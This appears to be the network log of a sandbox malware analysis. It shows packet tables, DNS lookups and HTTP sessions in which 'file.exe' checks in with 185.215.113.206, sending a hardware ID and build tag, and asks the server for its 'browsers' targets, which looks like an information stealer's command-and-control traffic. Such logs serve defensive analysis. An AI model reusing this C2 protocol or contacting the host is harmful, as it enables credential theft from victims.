Nov 16, 2024 23:36:41.119550943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119584084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119692087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119700909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119713068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119724035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119748116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119776964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119776964 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.119788885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119800091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.119841099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.146660089 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.146775961 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.147115946 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.147264004 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.147264004 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.147289991 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.147304058 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.150258064 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.150337934 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.150657892 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.150657892 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:41.150742054 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:41.224596977 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.225162983 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.225205898 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.226310968 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.227556944 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.227739096 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.227749109 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.231447935 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.231689930 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.231722116 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.232758999 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.233017921 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.233218908 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.233294964 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.233345032 CET	49930	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.237489939 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.238854885 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.238879919 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.239233017 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.239948034 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.240010023 CET	443	49929	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.243007898 CET	49929	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.269617081 CET	49928	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:41.269678116 CET	443	49928	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.274156094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274236917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274321079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274354935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274410009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274439096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274441957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274470091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274497986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274533987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274533987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274566889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274594069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274621964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274652004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274677992 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274684906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274736881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274766922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274781942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274818897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274827957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274827957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274871111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274899006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.274924994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274959087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.274986029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275008917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275038004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275042057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275075912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275103092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275136948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275166035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275166035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275198936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275226116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275254965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275284052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275320053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275330067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:41.275338888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:41.275356054 CET	443	49930	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:41.275394917 CET	80	49824	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 23:36:17.371481895 CET	192.168.2.5	1.1.1.1	0x5dec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:17.371601105 CET	192.168.2.5	1.1.1.1	0x3d61	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:20.756170034 CET	192.168.2.5	1.1.1.1	0x62b5	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:20.756326914 CET	192.168.2.5	1.1.1.1	0xf30d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:21.749319077 CET	192.168.2.5	1.1.1.1	0xbf09	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:21.749464035 CET	192.168.2.5	1.1.1.1	0x305a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:27.993472099 CET	192.168.2.5	1.1.1.1	0x70d5	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:27.993623972 CET	192.168.2.5	1.1.1.1	0xf7ff	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:29.751842022 CET	192.168.2.5	1.1.1.1	0x83a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:29.751966000 CET	192.168.2.5	1.1.1.1	0xc6e6	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 16, 2024 23:36:31.034658909 CET	192.168.2.5	1.1.1.1	0x4b2e	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.034710884 CET	192.168.2.5	1.1.1.1	0x9fb3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:31.109936953 CET	192.168.2.5	1.1.1.1	0xa8ec	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.110065937 CET	192.168.2.5	1.1.1.1	0xb10a	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:31.120457888 CET	192.168.2.5	1.1.1.1	0xa471	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.121393919 CET	192.168.2.5	1.1.1.1	0x8010	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:31.128458023 CET	192.168.2.5	1.1.1.1	0x50a9	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.128601074 CET	192.168.2.5	1.1.1.1	0xb4af	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:31.147526026 CET	192.168.2.5	1.1.1.1	0x59b5	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.147650957 CET	192.168.2.5	1.1.1.1	0x35c5	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:32.389220953 CET	192.168.2.5	1.1.1.1	0x9af5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.389599085 CET	192.168.2.5	1.1.1.1	0xac62	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:32.389940023 CET	192.168.2.5	1.1.1.1	0xaacb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.391031027 CET	192.168.2.5	1.1.1.1	0x13a8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 23:36:32.404704094 CET	192.168.2.5	1.1.1.1	0xbab1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.405500889 CET	192.168.2.5	1.1.1.1	0xccb8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
2024-11-16 22:36:34 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	true
2024-11-16 22:36:34 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	assets.msn.com	65	IN (0x0001)	true
2024-11-16 22:36:34 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	true
2024-11-16 22:36:34 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	ntp.msn.com	65	IN (0x0001)	true

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 23:36:17.378304005 CET	1.1.1.1	192.168.2.5	0x5dec	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:17.378313065 CET	1.1.1.1	192.168.2.5	0x3d61	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 23:36:20.763010979 CET	1.1.1.1	192.168.2.5	0x62b5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:20.763010979 CET	1.1.1.1	192.168.2.5	0x62b5	No error (0)	plus.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:20.763942957 CET	1.1.1.1	192.168.2.5	0xf30d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:21.756856918 CET	1.1.1.1	192.168.2.5	0xbf09	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:27.946249962 CET	1.1.1.1	192.168.2.5	0x95d3	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:28.007935047 CET	1.1.1.1	192.168.2.5	0x70d5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:28.009638071 CET	1.1.1.1	192.168.2.5	0xf7ff	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:28.017868996 CET	1.1.1.1	192.168.2.5	0x9f63	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:28.017868996 CET	1.1.1.1	192.168.2.5	0x9f63	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:28.067760944 CET	1.1.1.1	192.168.2.5	0x3965	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:29.765505075 CET	1.1.1.1	192.168.2.5	0x83a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:29.766027927 CET	1.1.1.1	192.168.2.5	0xc6e6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.050088882 CET	1.1.1.1	192.168.2.5	0x4b2e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.050088882 CET	1.1.1.1	192.168.2.5	0x4b2e	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.050312042 CET	1.1.1.1	192.168.2.5	0x9fb3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.127002954 CET	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.127002954 CET	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.127002954 CET	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.127002954 CET	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:31.136615992 CET	1.1.1.1	192.168.2.5	0xa471	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.140158892 CET	1.1.1.1	192.168.2.5	0x8010	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.144776106 CET	1.1.1.1	192.168.2.5	0x50a9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.146125078 CET	1.1.1.1	192.168.2.5	0xb4af	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.163523912 CET	1.1.1.1	192.168.2.5	0x59b5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:31.163881063 CET	1.1.1.1	192.168.2.5	0x35c5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:32.404377937 CET	1.1.1.1	192.168.2.5	0x9af5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.404377937 CET	1.1.1.1	192.168.2.5	0x9af5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.404963970 CET	1.1.1.1	192.168.2.5	0xaacb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.404963970 CET	1.1.1.1	192.168.2.5	0xaacb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.405282974 CET	1.1.1.1	192.168.2.5	0xac62	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 23:36:32.406126022 CET	1.1.1.1	192.168.2.5	0x13a8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 23:36:32.420840025 CET	1.1.1.1	192.168.2.5	0xbab1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.420840025 CET	1.1.1.1	192.168.2.5	0xbab1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:32.421777964 CET	1.1.1.1	192.168.2.5	0xccb8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 23:36:32.872891903 CET	1.1.1.1	192.168.2.5	0x1cc4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:32.872891903 CET	1.1.1.1	192.168.2.5	0x1cc4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 23:36:34.008153915 CET	1.1.1.1	192.168.2.5	0x6110	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:34.008769989 CET	1.1.1.1	192.168.2.5	0xb63e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 23:36:34.008769989 CET	1.1.1.1	192.168.2.5	0xb63e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:36:10.862181902 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 23:36:12.663446903 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:12.663693905 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:12.663858891 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:12.664194107 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:12.666631937 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 42 39 39 36 31 34 42 39 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="hwid"C7B99614B98B2768236643------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="build"mars------BAFIEGIECGCBKFIEBGCA--
Nov 16, 2024 23:36:12.958797932 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 32 51 78 4e 7a 67 31 4f 44 67 79 4d 44 56 6b 5a 6a 49 33 4d 6d 59 33 4d 44 4d 34 59 32 46 69 4f 54 55 33 59 57 4d 31 4e 7a 4e 6d 4e 44 67 31 5a 54 52 6c 4f 57 52 6c 4e 7a 51 34 5a 57 49 33 4f 54 51 30 4e 57 4a 69 59 7a 46 6b 4e 32 49 32 4d 57 51 35 4d 54 4d 30 4e 7a 6b 34 4e 47 45 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: M2QxNzg1ODgyMDVkZjI3MmY3MDM4Y2FiOTU3YWM1NzNmNDg1ZTRlOWRlNzQ4ZWI3OTQ0NWJiYzFkN2I2MWQ5MTM0Nzk4NGE0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 16, 2024 23:36:12.960619926 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"browsers------HDGIJJDGCBKFIDHIEBKE--
Nov 16, 2024 23:36:13.241400957 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 